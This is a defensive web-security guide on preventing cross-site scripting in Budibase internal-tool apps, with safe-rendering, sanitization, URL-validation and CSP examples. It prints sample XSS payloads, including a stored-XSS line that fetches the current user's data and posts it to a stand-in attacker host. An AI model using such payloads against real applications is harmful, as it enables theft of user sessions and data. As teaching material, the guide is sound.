Budibase makes it easy to ship internal tools fast. That speed is great for product teams and terrible for security if nobody stops to ask a basic question: where does this data come from, and how is it rendered?
That question matters because XSS in Budibase apps usually does not come from some dramatic “hacker-only” feature. It comes from normal app-building behavior: user-generated content, dynamic bindings, custom components, markdown-ish fields, embedded HTML, and API data that gets trusted too early.
If you build Budibase apps, you need to treat every piece of dynamic content as hostile until you’ve proved otherwise.
Why XSS is a real problem in Budibase
Budibase apps are still web apps. They render data in the browser, they often consume APIs, and they often include custom JavaScript, custom components, or HTML-capable fields. That gives attackers the same goal they have in any frontend app: get their payload interpreted as code instead of displayed as text.
A successful XSS payload in an internal tool can be especially ugly:
- session theft
- action execution as another user
- data exfiltration from dashboards
- credential harvesting through fake UI
- abuse of privileged admin workflows
Internal apps are often trusted more than public apps. That trust becomes a huge liability when XSS lands in an admin panel.
Where XSS shows up in Budibase apps
The main sources are pretty predictable.
1. User input rendered back into the UI
Classic stored XSS. Someone saves a payload in a text field, and another user loads a page that renders it unsafely.
Examples:
- support ticket descriptions
- comments
- customer names from imported CSVs
- notes fields
- rich text content
A payload might be as simple as:
<img src=x onerror="alert('XSS')">
If that value gets inserted into the DOM as HTML, you have a problem.
2. API data treated as trusted
I see teams make this mistake constantly: “It came from our API, so it’s safe.”
No. Your API is just another source of untrusted input unless it guarantees output encoding for the specific rendering context, which most APIs do not.
If a Budibase app fetches data like this:
{
"displayName": "<svg onload=alert('xss')>"
}
and then binds it into an HTML-rendering component, the browser does the rest.
3. Custom components or JavaScript
Budibase gives developers flexibility, which is useful and dangerous at the same time. The second someone reaches for raw DOM APIs, the risk goes up.
Bad pattern:
const container = document.getElementById("output");
container.innerHTML = userData.bio;
```text
If `userData.bio` contains attacker-controlled HTML or script gadgets, you just handed them execution.
### 4. HTML-capable fields and rich content
Any feature that allows HTML rendering needs extra scrutiny. Even when script tags are blocked, event handlers and dangerous URLs can still execute.
For example, this is often enough:
Or:
If your app allows HTML and does not sanitize aggressively, attackers will find a way in.
A vulnerable Budibase-style pattern
Here’s a stripped-down example of the kind of bug that shows up around custom scripting or embedded frontend logic.
async function renderProfile(userId) {
const res = await fetch(`/api/users/${userId}`);
const user = await res.json();
document.querySelector("#name").innerHTML = user.name;
document.querySelector("#bio").innerHTML = user.bio;
}
This looks innocent. It is not.
If user.name is:
<img src=x onerror="alert('name xss')">
or user.bio is:
<script>alert('bio xss')</script>
the app is vulnerable. Even if script tags are filtered somewhere else, payloads using event handlers, malformed tags, SVG, or dangerous URLs may still work.
The safe default: render text, not HTML
If the content is supposed to be text, render it as text. That means using DOM APIs that do not interpret markup.
Safer version:
async function renderProfile(userId) {
const res = await fetch(`/api/users/${userId}`);
const user = await res.json();
document.querySelector("#name").textContent = user.name;
document.querySelector("#bio").textContent = user.bio;
}
```text
`textContent` is boring, and boring is good. The payload renders as visible text instead of executing.
If you control Budibase component configuration, prefer bindings that output plain text over anything that interprets HTML.
## If you must render HTML, sanitize first
Sometimes the business requirement is real. Maybe you need formatted descriptions or rich text. Fine. Then sanitize before rendering.
Example using a sanitizer in custom frontend code:
```javascript
import DOMPurify from "dompurify";
async function renderArticle(articleId) {
const res = await fetch(`/api/articles/${articleId}`);
const article = await res.json();
const cleanHtml = DOMPurify.sanitize(article.content, {
ALLOWED_TAGS: ["p", "b", "i", "strong", "em", "ul", "ol", "li", "a", "br"],
ALLOWED_ATTR: ["href", "title"],
ALLOW_DATA_ATTR: false
});
document.querySelector("#content").innerHTML = cleanHtml;
}
That is much better than raw innerHTML, but I would still keep the allowlist tight. Most teams allow way too much. You probably do not need style, iframe, svg, inline event handlers, or custom attributes.
Also, sanitize on the server if the content is reused across multiple consumers. Client-side sanitization helps, but it should not be your only control.
Validate input, but don’t confuse validation with output safety
Input validation is useful for reducing junk and dangerous formats. It is not a replacement for output encoding or sanitization.
For example, you can reject obvious garbage in a “name” field:
function validateDisplayName(name) {
return /^[a-zA-Z0-9 .,'-]{1,80}$/.test(name);
}
```text
That helps. But even validated input should still be rendered safely:
```javascript
nameElement.textContent = user.name;
The rule I use is simple:
- validate to enforce business rules
- encode or sanitize to enforce rendering safety
Those are different jobs.
Watch the dangerous sinks
If you review Budibase custom code, these are the places I would grep for first:
element.innerHTML = value;
element.outerHTML = value;
document.write(value);
insertAdjacentHTML("beforeend", value);
eval(value);
new Function(value);
setTimeout(value, 0); // when value is a string
```text
And don’t forget URL-based sinks:
```javascript
location.href = userInput;
iframe.src = userInput;
a.href = userInput;
If the value can be attacker-controlled, you need validation and often protocol restrictions.
Safer URL handling example:
function safeProfileLink(path) {
if (!path.startsWith("/profiles/")) {
throw new Error("Invalid path");
}
return path;
}
document.querySelector("#profile-link").setAttribute("href", safeProfileLink(user.profilePath));
```text
For external URLs, parse and allowlist protocols:
```javascript
function safeUrl(input) {
const url = new URL(input, window.location.origin);
if (!["http:", "https:"].includes(url.protocol)) {
throw new Error("Disallowed protocol");
}
return url.toString();
}
Stored XSS example in a Budibase workflow
A common pattern is:
- User submits comment
- Comment is stored in database
- Admin dashboard renders comment thread
- Malicious payload executes in admin session
Attacker submits:
<img src=x onerror="fetch('/api/users/me').then(r=>r.text()).then(d=>fetch('https://attacker.test',{method:'POST',body:d}))">
If the admin view renders that as HTML, game over.
The fix is not complicated:
- store raw input or sanitized rich text depending on your design
- render plain text for plain-text fields
- sanitize rich text with a strict allowlist
- never trust database content just because it came from your own app
Databases happily store malware-shaped strings. They do not make strings safe.
Add CSP as a damage limiter
CSP is not your primary XSS fix, but it is one of the best ways to reduce blast radius when something slips through.
A decent starting policy for a Budibase app might look like this:
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
img-src 'self' data:;
style-src 'self' 'unsafe-inline';
connect-src 'self';
form-action 'self';
That policy blocks a lot of the easy payloads, especially inline script execution, assuming your app can run without inline scripts. If Budibase or your custom components need adjustments, make them deliberately instead of falling back to a weak policy.
For nonce- or hash-based CSP setups and rollout details, see CSP Guide or Budibase’s official deployment documentation if you’re controlling headers through your hosting layer.
I strongly recommend starting with Content-Security-Policy-Report-Only in non-production or during rollout so you can see what breaks before enforcing.
Practical review checklist for Budibase apps
When I audit low-code and internal-tool apps, this is the checklist I use:
- Are any fields rendered as HTML?
- Are custom components using
innerHTML? - Does API data get inserted into the DOM unsafely?
- Are rich text fields sanitized with a strict allowlist?
- Are links validated to prevent
javascript:URLs? - Is there a CSP?
- Are dangerous inline event handlers possible in templates or content?
- Are imported CSV or external system values treated as trusted?
That last one gets missed a lot. “User input” is not just what someone types into a form. It includes CRM data, HR data, webhook payloads, spreadsheet imports, and anything copied from another system.
A safer rendering helper
If your team writes custom Budibase scripts often, standardize safe rendering so developers stop reinventing risky patterns.
import DOMPurify from "dompurify";
export function setText(selector, value) {
const el = document.querySelector(selector);
if (!el) return;
el.textContent = value ?? "";
}
export function setSafeHtml(selector, html) {
const el = document.querySelector(selector);
if (!el) return;
el.innerHTML = DOMPurify.sanitize(html ?? "", {
ALLOWED_TAGS: ["p", "b", "i", "strong", "em", "ul", "ol", "li", "a", "br"],
ALLOWED_ATTR: ["href", "title"],
ALLOW_DATA_ATTR: false
});
}
```text
Usage:
```javascript
setText("#customer-name", customer.name);
setSafeHtml("#customer-notes", customer.formattedNotes);
I like this approach because it forces a conscious choice: text or sanitized HTML. That alone prevents a lot of sloppy mistakes.
The mindset that keeps Budibase apps safe
Budibase is not uniquely broken. It just makes it easy to assemble data-driven interfaces quickly, and quick assembly often skips threat modeling.
The winning habit is simple:
- assume all dynamic data is untrusted
- render text by default
- sanitize any allowed HTML
- lock down dangerous sinks
- deploy CSP
If you do those five things consistently, most XSS bugs in Budibase apps disappear before they ever reach production.